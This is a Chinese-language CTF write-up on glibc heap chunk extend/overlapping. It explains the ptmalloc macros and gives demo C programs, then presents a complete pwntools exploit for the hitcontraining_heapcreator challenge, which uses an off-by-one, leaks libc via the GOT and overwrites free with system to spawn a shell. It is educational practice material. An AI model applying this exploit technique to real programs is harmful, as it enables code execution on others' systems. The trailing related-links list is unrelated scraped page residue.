Chunk Extend and Overlapping
0x01 介紹
當存在可以修改chunk.pre_size或者chunk.size這兩個欄位漏洞時可以overlapping前面或後面的chunk
0x02 原理
chunk extend 技術能夠產生的原因在於 ptmalloc 在對堆 chunk 進行操作時使用的各種巨集。
獲取chunk塊大小
有兩種獲取chunk塊大小的巨集,chunksize( p )得到的是沒有inuse位的。chunksize_nomask( p )包含了Inuse位
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS. */
#define chunksize_nomask(p) ((p)->mchunk_size)
獲取下一個chunk地址
將當前指標p+chunk大小得到下一個chunk地址
/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr)(((char *) (p)) + chunksize(p)))
獲取前一個chunk大小
只有當inuse位為0時才有意義
/* Size of the chunk below P. Only valid if prev_inuse (P). */
#define prev_size(p) ((p)->mchunk_prev_size)
獲取前一個chunk位置
將當前指標p-前一個chunk大小得到前一個chunk地址
/* Ptr to previous physical malloc_chunk. Only valid if prev_inuse (P). */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))
0x03 原理示例
其實主要包含兩種型別的overlapping,覆蓋前面chunk的前向overlapping和覆蓋後面chunk的後向overlapping。
後向extend
通過修改chunk1的size來覆蓋chunk2。利用的時候一般是
- 修改chunk1->size=chunk1->size+chunk2->size
- 然後釋放掉chunk1,這時fastbin或者unsortedbin裡面就出現了大小為chunk1->size+chunk2->size的bin
- 再申請chunk1->size+chunk2->size大小的chunk,就能申請到chunk1+chunk2,能夠對chunk2中的內容中的內容進行修改
#include<stdio.h>
int main()
{
void *ptr,*ptr1;
ptr=malloc(0x80);//分配第一個 0x80 的chunk1
malloc(0x10); //分配第二個 0x10 的chunk2
malloc(0x10); //防止與top chunk合併chunk3
*(int *)((int)ptr-0x8)=(0x91+0x20);//chunk1->size+chunk2->size
free(ptr);
ptr1=malloc(0xa0);
}
執行完三次之後堆疊情況
執行完free(ptr)之後,chunk3的inuse位已經變為了0。當再次malloc(0xa0)可以控制chunk1+chunk2的地址的內容
前向overlapping
通過修改smallbin2-> = smallbin1->size+fastbin1->size+fastbin2->size,和smallbin2->inuser=0。當free(smallbin2)時根據smallbin的unlink機制,會和前面的smallbin1進行合併。實現對前面fastbin1和fastbin2的overlapping
#include<stdio.h>
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(0x80);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(0x10);//smallbin2
malloc(0x10);//防止與top合併
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink進行前向extend
malloc(0x150);//佔位塊
}
當執行完4次malloc和free(ptr1)之後的堆
在修改了smallbin2的pre_size和inuse位之後,實現了前向overlapping前面的兩個fastbin
0x04 hitcontraining_heapcreator
1. 檢視程式的保護
可以修改GOT表,沒有PIE
2. 檢視程式
create_heap
正常的heap create.最多建立10個chunk。
- 先建立0x10大小的heaparray,包含內容的size和地址指標ptr
- 讀入size,建立size大小堆
- 讀入content
struct heaparray{
int size;
int *ptr_content
}
edit_heap
edit_heap很明顯的存在off by one
show_heap
通過heaparray中的ptr來輸出字串。如果能控制這個指標就能實現任意地址的內容輸出
delete_heap
正常delete的函式,先free(ptr),再free(heaparray),最後將heaparry[idx]置0.
3. 利用方法
建立3個heaparray
可以看到建立3個heaparray之後的堆分佈情況
create(0x18,b'aaaaaaaa')#0
create(0x10,'bbbbbbbb')#1
create(0x10,'cccccccc')#2
edit heaparray1
利用off by one漏洞修改下一個堆塊的size為0x81來覆蓋後面的3個0x20的chunk。並將heaparray1釋放掉。
edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
delete(1)
0x80大小的bin包含著0x20大小的bin。可以對內容進行覆蓋
leak libc
申請0x70大小的content,此時content會申請到上圖紅框,heaparray為上圖的黃框。content可以將heaparray中的ptr覆蓋為GOT表中的free項。進行libc地址洩露
payload = p64(0)*3+p64(0x21)+p64(8)+p64(elf.got['free'])
create(0x70,payload)
show(1)
p.recvuntil('Content : ')
free = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("free:{}".format(hex(free)))
getshell
heaparray2->ptr已經指向free_got,直接修改為system函式地址,並free(heaparray1)即可getshell
edit(1,p64(system))#修改free->system
delete(0)
p.interactive()
4. exp
from pwn import *
context.arch = 'amd64'
debug = 1
if debug:
context.log_level='debug'
context.terminal = ['terminator','-x','sh','-c']
p = process('./heapcreator')
elf = ELF('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p = remote('node3.buuoj.cn',29313)
elf = ELF('./heapcreator')
libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')
def create(size,content='a'):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap :')
p.sendline(str(size))
p.recvuntil('Content of heap:')
p.sendline(content)
def edit(idx,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content of heap :")
p.send(content)
def show(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil("Index :")
p.sendline(str(idx))
create(0x18,b'aaaaaaaa')#0
create(0x10,'bbbbbbbb')#1
create(0x10,'cccccccc')#2
edit(0,b'/bin/sh\x00'+p64(0)*2+b'\x81')
delete(1)
payload = p64(0)*3+p64(0x21)+p64(8)+p64(elf.got['free'])
create(0x70,payload)
show(1)
p.recvuntil('Content : ')
free = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
log.success("libc_base:{}".format(hex(libc_base)))
log.success("system:{}".format(hex(system)))
log.success("free:{}".format(hex(free)))
edit(1,p64(system))#修改free->system
delete(0)
p.interactive()
0x05 總結
利用條件:能夠修改chunk的pre_size和inuse
利用方法:覆蓋相鄰的幾個chunk,洩露內容(fd,bk或指標)或者修改內容(fd,bk或者指標)
參考連結:CTFWIKI
相關文章
- Chunk extend OverlappingAPP
- 堆溢位之OverlappingAPP
- $.extend()和$.fn.extend()區別
- $.extend()和$.fn.extend()函式用法函式
- jquery.fn.extend與jquery.extendjQuery
- SCSS @extendCSS
- 理解jquery的$.extend()、$.fn和$.fn.extend()jQuery
- jQuery.extend()jQuery
- informix新增刪除chunkORM
- jQuery.extend和jQuery.fn.extend的區別jQuery
- jquery的$.extend和$.fn.extend作用及區別jQuery
- jQuery - 函式 $.extend 和 $.fn.extend 的說明jQuery函式
- jQuery外掛開發中$.extend和$.fn.extend辨析jQuery
- 理解jquery的$.extend()jQuery
- jQuery.fn.extend()jQuery
- jquery 擴充套件方法($.fn.extend/$.extend) 自定義外掛 拖拽jQuery套件
- [LeetCode] 435. Non-overlapping IntervalsLeetCodeAPP
- 硬剛 lodash 原始碼之路,_.chunk原始碼
- MongoDB分片叢集chunk的概念MongoDB
- 【Mongodb】Sharding 手工遷移chunkMongoDB
- 每日原始碼分析 - lodash(chunk.js)原始碼JS
- Sass中的mixin,function,extendFunction
- jquery中extend的實現jQuery
- implementation 'com.guo.android_extend:android-extend:1.0.6'失敗解決方法Android
- Laravel 裡面的 chunk 分塊效率問題Laravel
- lua語法-程式塊(chunk)與註釋
- 🤷♀️概念問題:module chunk bundle的區別
- sass的mixin,extend,placeholder,functionFunction
- jQuery原始碼學習之extendjQuery原始碼
- How to Diagnose and Resolve UNABLE TO EXTEND ErrorsError
- The Extend Concept css-tricks.comCSS
- less @import and extend及mixin詳解Import
- 陣列分組chunk的一種寫法陣列
- lodash原始碼分析之chunk的尺與刀原始碼
- MongoDB chunk too big to move的解決方案MongoDB
- Google I/O Extend 2018Go
- jQuery的extend方法原始碼解讀jQuery原始碼
- PHP 每日一函式 — 字串函式 chunk_split ()PHP函式字串